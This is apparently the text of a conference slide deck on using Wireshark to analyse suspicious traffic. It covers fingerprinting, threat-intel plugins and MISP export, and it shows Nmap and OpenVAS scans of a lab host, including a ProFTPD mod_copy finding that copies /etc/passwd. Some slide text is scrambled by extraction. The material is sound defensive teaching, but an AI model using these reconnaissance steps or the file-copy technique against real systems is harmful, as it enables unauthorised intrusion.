## **Decoding Cyber Threats:**

## Wireshark Tips and Tricks for Analyzing Suspicious Traffic Patterns

Walter Hofstetter

Create. Connect. Control.

May 8-9 2025, Zürich





00

## Short Introduction



Started 1989 as engineer doing **Novell** based on Arcnet

1993 accepted position at Network General (Sniffer)

Security experience through work for Network Associates, Symantec, Palo Alto Networks

Today <u>@AnyWeb</u>

Session will focus on demos: SEE it, UNDERSTAND it, PROOF it

LinkedIn: https://www.linkedin.com/in/walterhofstetter

Data for Security Analytics



## Network Data For Security Analytics

- Statistical Data
  - NetFlow or IPFIX (IETF standard) is used to collect IP traffic information and monitor network flow data. It aggregates packets into flows and provides meta data about these flows.
- Packet Data
  - Tools such as tcpdump or dumpcap capture full packets, including headers and payloads. This allows for a detailed analysis of the actual content being transmitted over the network.

00000000:	466c	6f77	2031	3a0a	5374	6172	7420	5469	Flow 1:.Start Ti
00000010:	6d65	3a20	3230	3234	2d30	392d	3330	2031	me: 2024-09-30 1
00000020:	303a	3136	3a30	310a	456e	6420	5469	6d65	0:16:01.End Time
00000030:	3a20	3230	3234	2d30	392d	3330	2031	303a	: 2024-09-30 10:
00000040:	3136	3a31	350a	536f	7572	6365	2049	503a	16:15.Source IP:
00000050:	2031	302e	302e	302e	3130	300a	4465	7374	10.0.0.100.Dest
00000060:	696e	6174	696f	6e20	4950	3a20	3139	322e	ination IP: 192.
00000070:	3136	382e	312e	3530	0a53	6f75	7263	6520	168.1.50.Source
00000080:	506f	7274	3a20	3232	0a44	6573	7469	6e61	Port: 22.Destina
00000090:	7469	6f6e	2050	6f72	743a	2034	3935	3633	tion Port: 49563
000000a0:	0a50	726f	746f	636f	6c3a	2054	4350	2028	.Protocol: TCP (
000000b0:	5353	4829	0a42	7974	6573	2053	656e	743a	SSH).Bytes Sent:
000000c0:	2038	3030	0a50	6163	6b65	7473	3a20	390a	800.Packets: 9.
000000d0:	0a46	6c6f	7720	323a	0a53	7461	7274	2054	.Flow 2:.Start T
000000e0:	696d	653a	2032	3032	342d	3039	2d33	3020	ime: 2024–09–30
00000f0:	3130	3a31	353a	3233	0a45	6e64	2054	696d	10:15:23.End Tim
00000100:	653a	2032	3032	342d	3039	2d33	3020	3130	e: 2024-09-30 10
00000110:	3a31	353a	3435	0a53	6f75	7263	6520	4950	:15:45.Source IP
00000120:	3a20	3137	322e	3238	2e31	3834	2e36	300a	: 172.28.184.60.
00000130:	4465	7374	696e	6174	696f	6e20	4950	3a20	Destination IP:
00000140:	3137	322e	3238	2e31	3834	2e34	390a	536f	172.28.184.49.So
00000150:	7572	6365	2050	6f72	743a	2035	3433	3231	urce Port: 54321
00000160:	0a44	6573	7469	6e61	7469	6f6e	2050	6f72	.Destination Por
00000170:	743a	2032	320a	5072	6f74	6f63	6f6c	3a20	t: 22.Protocol:
00000180:	5443	500a	4279	7465	7320	5365	6e74	3a20	TCP.Bytes Sent:
00000190:	3130	3530	0a50	6163	6b65	7473	3a20	3134	1050.Packets: 14

00000000: 0a0d 0d0a 1	1c00 0000 4d3c	2b1a 0100 0000	M<+
00000010: ffff ffff f	ffff ffff 1c00	0000 0100 0000	
00000020: 1400 0000 0	0100 0000 ffff	0000 1400 0000	
00000030: 0400 0000 4	4800 0000 0100	1b00 ac1c b8a1	H
00000040: 6b61 6c69 2	2d63 6f75 7273	652e 6e65 7477	kali-course.netw
00000050: 686f 2e6c 6	616e 0000 0100	1200 ac1c b803	ho.lan
00000060: 7270 2e6e 6	6574 7768 6f2e	6c61 6e00 0000	rp.netwho.lan
00000070: 0000 0000 4	4800 0000 0600	0000 2001 0000	H
00000080: 0000 0000 a	a87d 0200 5e16	5c04 fe00 0000	}^.\
00000090: fe00 0000 6	6a40 2c73 0fd4	dca6 3237 2309	j@,s27#.
000000a0: 0800 4500 0	00f0 9a34 4000	3f11 d7ea ac1c	E4@.?
000000b0: b803 ac1c b	b8a1 0035 95c1	00dc 53c5 e842	SSB
000000c0: 8180 0001 0	9996 9999 9999	0377 7777 0968	
000000d0: 7474 7032 6	6465 6d6f 0269	6f00 001c 0001	ttp2demo.io
000000e0: c00c 0005 0	0001 0000 0e10	001a 0a31 3930	
000000f0: 3637 3134 3	3732 3003 7273	6305 6364 6e37	6714720.rsc.cdn7
00000100: 3703 6f72 6	6700 c02e 001c	0001 0000 000f	7.org
00000110: 0010 2a02 6	6ea0 c700 0000	0000 0000 0000	*.n
00000120: 0011 c02e 0	<b>001c 0001 0000</b>	000f 0010 2a02	*.
00000130: 6ea0 c700 0	0000 0000 0000	0000 0017 c02e	n
00000140: 001c 0001 0	0000 000f 0010	2a02 6ea0 c700	*.n
00000150: 0000 0000 0	0000 0000 0018	c02e 001c 0001	
00000160: 0000 000f 0	0010 2a02 6ea0	c700 0000 0000	*.n
00000170: 0000 0000 0	0019 c02e 001c	0001 0000 000f	
00000180: 0010 2a02 6	6ea0 c700 0000	0000 0000 0000	*.n
00000190: 0010 0000 2	2001 0000		



	Questions: 1
	Answer RRs: 6
	Authority RRs: 0
	Additional RRs: 0
	Queries
	www.http2demo.io: type A, class IN
	Name: www.http2demo.io
	[Name Length: 16]
	[Label Count: 3]
	Type: A (1) (Host Address)
	Class: IN (0x0001)
	Answers
	www.http2demo.io: type CNAME, class IN, cname 1906714720.rs
	Name: www.http2demo.io
	Type: CNAME (5) (Canonical NAME for an alias)
	Class: IN (0x0001)
	Time to live: 3600 (1 hour)
	Data length: 26
	CNAME: 1906714720.rsc.cdn77.org
	1906714720.rsc.cdn77.org: type A, class IN, addr 195.181.175
	Name: 1906714720.rsc.cdn77.org
	Type: A (1) (Host Address)
	Class: IN (0x0001)
	Time to live: 15 (15 seconds)
	Data length: 4
	Address: 195.181.1/5.41
	1906/14/20.rsc.cdn//.org: type A, class IN, addr 195.181.176
_	Name: 1906/14/20.rsc.cdp//.org

## **Encryption Challenges**

When SSL (Secure Sockets Layer) or its successor TLS (Transport Layer Security) is used in network communications, it introduces encryption to protect the data transmitted between clients and SSL/TLS, there are several approaches:



SSL/TLS Inspection Proxies



# servers. To overcome encryption and still perform network and security analysis in the presence of

Logging and Metadata Analysis



**Behavior Analytics** 



Fingerprinting

PacketFest'25

6

## Other Ways To Gain Some Visibility

## Fingerprinting

- Wireshark Community ID
  - Stable 5-tuple hash cross-tool session correl (e.g., Zeek, Suricata, Wireshark)
- JA3/JA4 Fingerprinting (TLS, HTTP and SSH)
  - Malware, Suspicious Clients
  - **Cluster threats** by common TLS fingerprints (e.g. botnet behavior)

## • Stable 5-tuple hash – cross-tool session correlation (src/dst ip, protocol, tcp/udp port, seed value)



Fig. Fingerprint Example TLS Client

## JA3 / JA4 And Wireshark

Wireshark integration

Wireshark can be extended with JA3/JA4 fingerprinting for analyzing encrypted traffic by creating and displaying JA3/JA4 hashes in packet captures.

#### Key usage

- Identify malware using SSL/TLS connections.
- **Detect** unusual or suspicious client-server communications.
- Classify network devices based on SSL/TLS behavior.

No.	Time	Source	Destination	Protocol	Length  Info	
⊤►	1 0.00000	kalic.holab.local	pihole.holab.local	DNS	76 Standard o	uery 0x6216 A
	2 0.00004	kalic.holab.local	pihole.holab.local	DNS	76 Standard o	uery 0x2c0d HT
<b>₄</b> ⊥	3 0.04495	pihole.holab.local	kalic.holab.local	DNS	194 Standard o	uery response
	4 0.04990	pihole.holab.local	kalic.holab.local	DNS	169 Standard o	uery response
	5 0.05036	kalic.holab.local	1906714720.rsc.cdn77.org	TCP	74 56218 → 80	[SYN] Seq=0 W
	6 0.07262	1906714720.rsc.cdn77	kalic.holab.local	TCP	74 80 → 56218	[SYN, ACK] Se
	7 0.07264	kalic.holab.local	1906714720.rsc.cdn77.org	TCP	66 56218 → 80	[ACK] Seq=1 A
	8 0.07285	kalic.holab.local	1906714720.rsc.cdn77.org	HTTP	650 GET / HTTF	/1.1
	9 0.09999	1906714720.rsc.cdn77	kalic.holab.local	TCP	66 80 → 56218	[ACK] Seq=1 A
	0.10191	1906714720.rsc.cdn77	kalic.holab.local	HTTP	422 HTTP/1.1 3	04 Not Modifie
	0.10194	kalic.holab.local	1906714720.rsc.cdn77.org	TCP	66 56218 → 80	[ACK] Seq=585
	0.11042	kalic.holab.local	1906714720.rsc.cdn77.org	TCP	74 56234 → 80	[SYN] Seq=0 W
	0.11052	kalic.holab.local	1906714720.rsc.cdn77.org	TCP	74 56236 → 80	[SYN] Seq=0 W
	0.11060	kalic.holab.local	1906714720.rsc.cdn77.org	TCP	74 56238 → 80	[SYN] Seq=0 W
	0.11068	kalic.holab.local	1906714720.rsc.cdn77.org	HTTP	549 GET /css/s	tyle.css HTTP/
	0.11510	kalic.holab.local	AT	DNIC	LIAATS	
	0.11515	kalic.holab.local		DITO	5415	
	0.11571	kalic.holab.local	1906714720.rsc.cdn77.org	ТСР	74 56252 → 80	[SYN] Seq=0 W

## A4+ Plugin for Wireshark installation (Github)

#### Windows

• Copy binaries/windows/4.4.0/ja4.dll to ...

#### Linux

• Copy binaries/linux/4.0.6/ja4.so to ...

#### MacoOS

• Copy binaries/macos/4.2.0/intel/ja4.so to ...



Fig. JA3/JA4 Fileds in Wireshark

Fingerprinting (DEMO)



Threat Intel Integration



10

## Integration with Threat Intel

You can enhance IoC detection by integrating Wireshark with threat intelligence feeds and databases, automating the identification of known malicious indicators. The interface for integrations into Wireshark is based on LUA, which is a lightweight high-level programming language. We'll introduce some examples:

#### Wireshark Investigators Pack

New context menu will appear when you right-click in the protocol decode window. Source: https://github.com/moshekaplan/wireshark\_investigators\_pack/tree/main

### Wireshark Forensics Toolkit

WFT incorporating threat intelligence, asset categorization, and vulnerability data Source: https://github.com/rjbhide/wireshark-forensics-plugin

#### Export to MISP format

Share data FROM Wireshark with the Malware Information Sharing Platform (MISP) Source: https://github.com/MISP/misp-wireshark

# Wireshark Investigators Pack (DEMO)

	🛿 🔘 🖿 🗎 🖄	🙆 ୍ 🗢 🔿 🚞	중 🕹 🥃 🔳	⊕, ⊝,	୍ 👕	
Apply a disp	olay filter <\${/>					+ Web 1 (DNS, Syn, Http) Web 2 (DNS and SSL handshake) TCP Errors Web Erros
No. T	Time	Source	Destination	Protocol	Length User n	nar Info
6 6	0.000044903	172.28.184.161	195.181.175.41	TCP	74	38286 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=2
7 6	0.021329635	195.181.175.41	172.28.184.161	TCP	74	80 → 38270 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_P
8 6	0.000031196	172.28.184.161	195.181.175.41	TCP	66	38270 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=284185200 TSec
÷ 9 A	8.000194741	172.28.184.161	195.181.175.41	HTTP	406	GET / HTTP/1.1
10	Mark/Unmark Packet	36M 181.175.41	172.28.184.161	TCP	74	80 → 38286 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_P
11	Ignore/Unignore Packet	3ED 28.184.161	195.181.175.41	TCP	66	38286 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=284185208 TSec
12	Set/Unset Time Reference	%T 181.175.41	172.28.184.161	TCP	66	80 → 38270 [ACK] Seq=1 Ack=341 Win=65024 Len=0 TSval=1387446182 T
13	Time Shift	쇼¥T 181.175.41	172.28.184.161	TCP	2962	80 → 38270 [PSH, ACK] Seq=1 Ack=341 Win=65024 Len=2896 TSval=1387
14	Packet Comments	8.184.161	195.181.175.41	TCP	66	38270 → 80 [ACK] Seq=341 Ack=2897 Win=63360 Len=0 TSval=284185227
15	HTTP Host	Alienvault OTX	172.28.184.161	TCP	2962	80 → 38270 [PSH, ACK] Seq=2897 Ack=341 Win=65024 Len=2896 TSval=1
16		Sileinadit OTA	172.28.184.161	TCP	2962	80 → 38270 [PSH, ACK] Seq=5793 Ack=341 Win=65024 Len=2896 TSval=1
17	IP Dest	LIRI Scan	195.181.175.41	TCP	66	38270 → 80 [ACK] Seq=341 Ack=5793 Win=63360 Len=0 TSval=284185228
18	IP Src	► nslockup	195.181.175.41	TCP	66	38270 → 80 [ACK] Seq=341 Ack=8689 Win=61824 Len=0 TSval=284185228
19	11 010	ping	172.28.184.161	TCP	2962	80 → 38270 [PSH, ACK] Seq=8689 Ack=341 Win=65024 Len=2896 TSval=1
20	Edit Resolved Name	Robtex	172.28.184.161	TCP	2962	80 → 38270 [PSH, ACK] Seq=11585 Ack=341 Win=65024 Len=2896 TSval=
21	4	Shodan	195.181.175.41	TCP	66	38270 → 80 [ACK] Seq=341 Ack=11585 Win=63360 Len=0 TSval=28418522
22	Apply as Filter	SSL Labs	195.181.175.41	TCP	66	38270 → 80 [ACK] Seq=341 Ack=14481 Win=61824 Len=0 TSval=28418522
23	Prepare as Filter	VirusTotal	172.28.184.161	TCP	1514	80 → 38270 [ACK] Seq=14481 Ack=341 Win=65024 Len=1448 TSval=13874
	Conversation Filter	Whois				
> Frame 9:	Colorize Conversation	406 Dytes capture	d (3248 bits) on inte	rface eth0.	id 0	
Ethernet	Eollow	1:40:2c:73:0f:d4),	Dst: eacAUTOMATIO 2b:	dc:85 (00:e0	:67:2b:dc:85)	
> Internet	FOIDT	18.184.161, Dst: 19	5.181.175.41			
Transmis	Сору	:: 38270, Dst Port:	80, Seq: 1, Ack: 1,	Len: 340		
Source						
Destin	Protocol Preferences	•				
[Stre:	Decode As					
> [Conve	Show Packet in New Windo	w te, DATA (15)]				
[TCP S	egment Len: 340]					
Sequen	ce Number: 1 (relati	ive sequence number)				
Sequen	ce Number (raw): 734749	9158				
[Next :	Sequence Number: 341	(relative sequence numbe	r)]			
Acknow	ledgment Number: 1 (	(relative ack number)				
Acknow	ledgment number (raw):	3774217472				
1000	- Header Length: 23	huter (0)				
0000 00 e0	67 2b dc 85 6a 40 2c	73 0f d4 08 00 45 00	g+··j@ ,s···E·			
0010 01 88 0020 af 29	35 DD 40 00 40 00 20	a6 e8 f5 fd 88 88 18 .)	o-@-@-+			
0030 01 f6	6 d9 17 00 00 01 01 08	0a 10 f0 52 71 52 b2	·····RgR·			
0040 bf 8c	: 47 45 54 20 2f 20 48	54 54 50 2f 31 2e 31	GET / HTTP/1.1			
0050 0d 0a	48 6f 73 74 3a 20 77	77 77 2e 68 74 74 70	Host: www.http			
0060 32 64	65 6d 6f 2e 69 6f Ød	0a 55 73 65 72 2d 41 2d	emo.io User-A			
0070 67 65	0 0 6 7 4 3 a 20 4 0 6 7 7 a 0 2 8 5 8 3 1 3 1 3 h 2 9 4 c	69 6c 6c 61 2T 35 2e ge	(X11: Linux x8			
0090 36 5f	36 34 3b 20 72 76 3a	31 30 32 2e 30 29 20 6	64; rv :102.0)			
00a0 47 65	63 6b 6f 2f 32 30 31	30 30 31 30 31 20 46 Ge	cko/20 100101 F			
00b0 69 72	2 65 66 6f 78 2f 31 30	32 2e 30 0d 0a 41 63 ir	efox/1 02.0 Ac			
00c0 63 65	5 70 74 3a 20 74 65 78	74 2f 68 74 6d 6c 2c ce	pt: te xt/html,			
0000 61 /0	78 64 66 26 61 78 78	6c 69 63 61 74 69 6f 1+	vml an nlicatio			
00f0 6e 2f	78 6d 6c 3b 71 3d 30	2e 39 2c 69 6d 61 67 n/	xml;q= 0.9, imag			
0100 65 2f	61 76 69 66 2c 69 6d	61 67 65 2f 77 65 62 e/	avif,i mage/web			
0110 70 2c	:2a2f2a3b713d 30	2e 38 0d 0a 41 63 63 p,	*/*;q= 0.8 · Acc			
	8 J					Products APPA Products APPA (APPA (A
💛 🖬 http:	2demo-filtered.pcapng					Packets: 1553 - Displayed: 1553 (100.0%) Profile: Default



는 → C @ O A https://www. <b>robtex.com</b> /dns-lookup/www.http2di						
	emo.io	E 🔿 👍	<b>ድ</b> ଜ	្រំ	1 II	<b>《</b> ≡
🕽 netwho.lan links 🗋 AnyWeb 🗋 Security Workshop 🗋 Web 😡 Homepage - QUIC.c 🤣 Overview ( M	alcolm 🛛 🐡 Packet Flow Sequen	🌇 draw.io 🛛 🦇 Configure Session T 🤇	Microsoft Word - Sh		C Other B	ookmarks
			Login	1		
www.http2demo.io		Robtex >>>DNS >>>io >>>h	ttp2demo >>>www			1
h						
						- 1
						- 1
						- 1
				I		
www.http2demo.io			GO			
ANALYSIS QUICK INFO REVERSE (NEW!)	RECORDS SEO	WOT ALEXA	THREATMINER			
SHARED GRAPH HIS	TORY WHOIS	DNS8L	GRAPH(old)			- 1
			<b>T</b> 1			
ANALYSIS			t ±			- 1
This section shows a quick analysis of the given nost name or ip num	ber.					
Results found						
Http2demo.io.						
						- 1
QUICK INFO			Ţ⊥			
Quick summary of the host name						
www.http2demo.lo quick inf	)					
General						
FQDN www.http2demo.io						
Host Name www						
Domain Name http2demo.io						
Registry io						
1LD 10						
Domain DNS						
Name servers ns1.superhosting.cz ns2.superhosting.cz						
ns3.superhosting.cz						



# Wireshark Forensics Toolkit (DEMO)

The Wireshark Forensics Plugin is an extension for Wireshark, to add IoC's into the Wireshark screens. The data is derived from Nessus and saved in three tables:

- asset\_tags.csv Information about asset ip/domain/cidr and associated tags
- asset\_vulnerabilities.csv Details about CVE IDs and top CVSS score value
- indicators.csv IOC data with attributes type, value, severity & threat type



No.		Time	Source	Destination	wft.dst.os	wft.dst.tags	wft.dst.cve_ids	wft.dst.to	Protocol
	14948	321461110.924466	172.28.184.161	172.28.184.3	Raspbian	private-ip	CVE-2019-16905:CVE	7.8	DNS
	15064	321461111.028502	172.28.184.161	172.28.184.3	Raspbian	private-ip	CVE-2019-16905:CVE	7.8	DNS
	15065	321461111.028513	172.28.184.161	172.28.184.3	Raspbian	private-ip	CVE-2019-16905:CVE	7.8	DNS
	15628	321461116 842717	172 28 184 161	172 28 184 3	Rasphian	nrivate-in	CVE_2019_16905 · CVE_	78	DNS
	wft	.dst.os	wft.dst.t	ags	wft.dst.c	ve_ids	wft.	dst.to	5
	10045	321401110.942003	1/2.20.104.101	1/2.20.104.3	казротан	ргтлаге-тр	CVE-2019-10905.CVE	/.0	DINS
	16540	321461117.535687	172.28.184.161	172.28.184.3	Raspbian	private-ip	CVE-2019-16905:CVE	7.8	DNS
	16627	335138244.066696	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	TCP
	16629	335138244.066962	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	TCP
	16631	335138244.072108	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	TCP
	16632	335138244.073008	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	FTP
	16635	335138244.073725	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	FTP
	16637	335138244.074442	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	FTP
	16639	335138244.074976	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	FTP
	16641	335138244.075595	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	TCP
	16643	335138244.075686	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	TCP
	16644	335138244.079013	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	TCP
	16646	335138244.079152	172.28.184.67	172.28.184.18	Ubuntu	private-ip	[truncated]PRION:C	10	ТСР

## PacketFest<sup>25</sup>

# Export To MISP (DEMO)

☑ Scope Reference ► Physics	Filters     Export     * History	text: PHP Code to open backchannel
V Center of X Expand C Collaps SHIFT+E Edit not SHIFT Edit not SHIFT Hold to DEL Delete a RIGHT-CLICK Open co	htp-request: /DX2lpe.php?JxJ3qV[] htp-request: /DX2lpe.php?JxJ3qV[] contains to rvalue add a reference elected item to the to the top of the t	Unreferenced Objects (2)
		?
« previous next » view all		
+ i≡ ] ≡ ≭ ] Scope toggle ▼ ■ Deleted L∞ De	cay score	s Enter value to search Q ×
Date † Context Category Type	Value Tags Galaxies Comment Corre	elate Related Feed IDS Distribution Sightings Activity Actions Events hits
2024-09-28* 7a7952 B Object name: network-connection [ ] References: 0 🖬	src-port :: port 36077	Organisation C 1
2024-09-28* 5e5bef R Network activity src-port:     port	36077 📀 + 🕹 + 🔄 +	Q Inherit மீ∿ீ ≁ ● ∎ IZ 1 (0/0/0)
2024-09-28* ce321d R Network activity dst-port:     port	21 📀 + 🕹 + 🔄 +	Q Inherit ♪ ♡ ≁ ● ■ ☑ ∎ (0/0/0)
□ 2024-09-28* f6410c  Other layer3-protocol text	: IP 🛛 😯 + 🕹 + 🗳 + 🛃 🗹	2 7 Q □ Inherit ☆ ♡ ≯ ● ■ C ■ (0/0/0)
2024-09-28* 53afc1      Other layer4-protocol     text	: TCP 📀 + 🕹 + 😒 + 😫 + 🗹	2 7 Q □ Inherit 10 V / ● ■ 2 1 (0/0/0)
□ 2024-09-28* 4455fd  Other layer7-protocol	: HTTP 📀 + 💶 + 💽 - 🔽 -	27Q Inherit 🖞 🖓 🗡 🔎 🖬 🗹 🖬



"MISP: Export to MISP format" can be valuable for sharing data collected through Wireshark with the Malware Information Sharing Platform (MISP).

This allows for the visualization of network flows and the incorporation of supplementary data to offer a comprehensive perspective on the security event under examination.









Observing Reconnaissance



## **Observing Reconnaissance**

## IP/Port/Service Scanners (e.g., Nmap)

## **Vulnerability Scanners**

vulnerabilities (like CVEs) and report any weaknesses that could be exploited. Common vulnerability scanners include Nessus and OpenVAS.

## Penetration Testing Scanners

are commonly used for this purpose.

• These tools are used to identify active devices on a network, open ports, and services running on those ports. By mapping out the network, attackers can determine potential entry points and understand the network's structure. For instance, an open port might indicate a service that could be vulnerable to attack.

• Vulnerability scanners go a step further by identifying known vulnerabilities in the services and software running on the discovered devices. These tools compare the target systems against a database of known

• Penetration testing tools simulate actual attacks on the identified vulnerabilities to test how they might be exploited. These tools often integrate scanning and exploitation features, allowing testers (or attackers) to confirm vulnerabilities by attempting to exploit them in a controlled environment. Tools like Metasploit



## Port Scanner: NMAP Scan

#### -sS (TCP SYN Scan)

Default and most popular scan type. Incomplete TCP handshake -sV (Version Detection)

Probes open ports to determine the version of the service

-sP or -Pn (Ping Scan)

Sends PING packets. `-Pn` skip discovery.

-O (Operating System Detection)

Determines the operating system of the target.

-A (Aggressive Scan)

Combines multiple Nmap options

-sU (UDP Scan)

Scans for open UDP ports.

-T (Timing Templates)

Adjust the scan speed from `-TO` (paranoid) to `-T5` (insane)

-p (Port Specification)

Allows users to specify which ports to scan.

-sC (Default Script Scan)

Runs a collection of default Nmap scripts.

--script (NSE Scripting)

Runs specific Nmap Scripting Engine (NSE) scripts

```
-$ <u>sudo</u> nmap -sS 192.168.1.203
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 21:32 CEST
Nmap scan report for victim2.lab.lan (192.168.1.203)
Host is up (0.00044s latency).
Not shown: 991 filtered tcp ports (no-response)
       STATE SERVICE
PORT
       open ftp
21/tcp
       open
22/tcp
              ssh
             http
80/tcp
       open
445/tcp open microsoft-ds
631/tcp open ipp
3000/tcp closed ppp
3306/tcp open mysql
8080/tcp open http-proxy
8181/tcp closed intermapper
MAC Address: 08:00:27:27:3F:87 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 4.81 seconds
(walterh® mackali)-[~]
 —(walterh®mackali)-[~]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 21:34 CEST
Nmap scan report for victim2.lab.lan (192.168.1.203)
Host is up (0.00055s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT
       STATE SERVICE
                          VERSION
21/tcp open ftp
                          ProFTPD 1.3.5
vulners:
   cpe:/a:proftpd:proftpd:1.3.5:
       SAINT:FD1752E124A72FD3A26EEB9B315E8382 10.0
                                                    https://vulners.com/saint/SAINT:FD1
752E124A72FD3A26EEB9B315E8382 *EXPLOIT*
       SAINT:950EB68D408A40399926A4CCAD3CC62E 10.0
                                                    https://vulners.com/saint/SAINT:950
EB68D408A40399926A4CCAD3CC62E
                             *EXPLOIT*
       SAINT:63FB77B9136D48259E4F0D4CDA35E957 10.0 https://vulners.com/saint/SAINT:63F
B77B9136D48259E4F0D4CDA35E957 *EXPLOIT*
       SAINT:1808F4664C428B180EEC9617B41D9A2C 10.0 https://vulners.com/saint/SAINT:1B0
8F4664C428B180EEC9617B41D9A2C *EXPLOIT*
                              10.0 https://vulners.com/canvas/PROFTPD_MOD_COPY
       PROFTPD_MOD_COPY
                                                                                    *EX
PL0IT*
       PACKETSTORM: 162777
                              10.0 https://vulners.com/packetstorm/PACKETSTORM:162777*
EXPLOIT*
```

-(walterh® mackali)-[~]

## Vulnerability Scanner: OpenVAS

**OpenVAS** (Open Vulnerability Assessment System) is a comprehensive and widely used open-source vulnerability scanning and management tool.

- Scanning OpenVAS can perform scans of network devices, services, and applications to identify vulnerabilities.
- Reporting Reports that highlight vulnerabilities, their severity, and recommendations for remediation
- Scheduling Users can schedule scans to run at specific times or intervals, allowing for continuous monitoring of systems.

formation Results (24 of 412) (1 of 1) (4 of 9) (22 of 22) (1 of 1)	stems C	CVEs Closed (0 of 10) (0 of 0	CVEs	TLS Certificates (1 of 1)	Error Messages Use	er Tags (0)		
				Host			<  <  1 - 24	of 2
ulnerability	*	Severity ¥	QoD	IP	Name	Location	Created	
rupal Coder RCE Vulnerability (SA-CONTRIB-2016-039) - Active Check	•	10.0 (High)	95 %	192.168.1.203	victim2.lab.lan	80/tcp	Sat, Aug 10, 2024 8:3	8 PM
perating System (OS) End of Life (EOL) Detection	4	10.0 (High)	80 %	192.168.1.203	victim2.lab.lan	general/tcp	Sat, Aug 10, 2024 8:2	9 PM
oFTPD `mod_copy` Unauthenticated Copying Of Files Via SITE CPFR/CPTO	1	10.0 (High)	99 %	192.168.1.203	victim2.lab.lan	21/tcp	Sat, Aug 10, 2024 8:34	I4 PM
The target was found to be vulnerable  Product Detection Result  Product cpe:/a:proftpd:proftpd:1.3.5 Method ProFTPD Server Version Detection (Remote) (OID: 1.3.6.1.4.1.25623 Log View details of product detection Detection Method	.1.0.900815)							
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V	a SITE CPFR/0	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution	a SITE CPFR/0	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution	a SITE CPFR/	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution Type: ① Vendorfix Ask the vendor for an update	Ia SITE CPFR/0	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution References	a SITE CPFR/	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution Type: 2, Vendorfix Ask the vendor for an update References CVE CVE-2015-3306 CERT DFN-CERT-2015-0839 DFN-CERT-2015-0839 CFNC CFRT-2015-0837 C6-K15/0791 C6-K15/0791 C6-K15/0791 C6-K15/0791 C6-K15/0791 C6-K15/0791	ia SITE CPFR/4	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution Type: () Vendorfix Ask the vendor for an update References CVE CVE-2015-3306 CERT DFN-CERT-2015-0839 DFN-CERT-2015-0839 DFN-CERT-2015-0839 CR-K15/0751 CB-K15/0751 CB-K15/0751 CB-K15/0751	ia SITE CPFR/4	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution Type: () Vendorfix Ask the vendor for an update References CVE CVE-2015-3306 CERT DFN-CERT-2015-0839 DFN-CERT-2015-0839 DFN-CERT-2015-0839 CR-115/0791 CB-115/0791 CB-115/0553 Other http://bugs.proftpd.org/show_bug.cgi?id=4169	a SITE CPFR/4	CPTOOID: 1.3.6.1	.4.1.256	23.1.0.105254				
